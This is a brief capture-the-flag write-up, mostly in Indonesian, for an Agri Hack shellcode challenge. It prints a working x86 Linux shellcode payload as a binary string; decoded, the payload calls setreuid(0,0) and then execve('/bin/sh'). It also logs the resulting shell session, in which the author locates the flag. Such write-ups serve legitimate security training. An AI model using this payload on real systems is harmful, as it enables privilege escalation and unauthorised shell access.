Agri Hack Shellcoder (10 Points)

Masalah

Punya shellcode yang bagus? Pingin tau rasanya ngoding dalam biner? Cobalah jalankan di server kami di:

nc kebon.agrihack.party 30002

Tips: Belilah keyboard "SuperCoder 2000" supaya lebih mudah mengetiknya.

Penyelesaian

Connect to the services and send shellcode (on binary format).

$ nc kebon.agrihack.party 30002                                     ⏎
Masukkan shellcode terbaikmu (dalam biner)!
Arsitektur: x86, OS: Linux.
001100011100000010110000010001100011000111011011001100011100100111001101100000000011000111000000010100000110100000101111001011110111001101101000011010000010111101100010011010010110111010001001111000110101000001010011100010011110000100110001110100101011000000001011110011011000000000001010
Menjalankan shellcode...
$ ls
sc_server
$ ls .
sc_server
$ ls /
bin
boot
challs
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
$ egrep -rnis "AGRI"
.flag:1:AGRI{shellcode_itu_keren_tapi_gw_gak_ngerti}
^C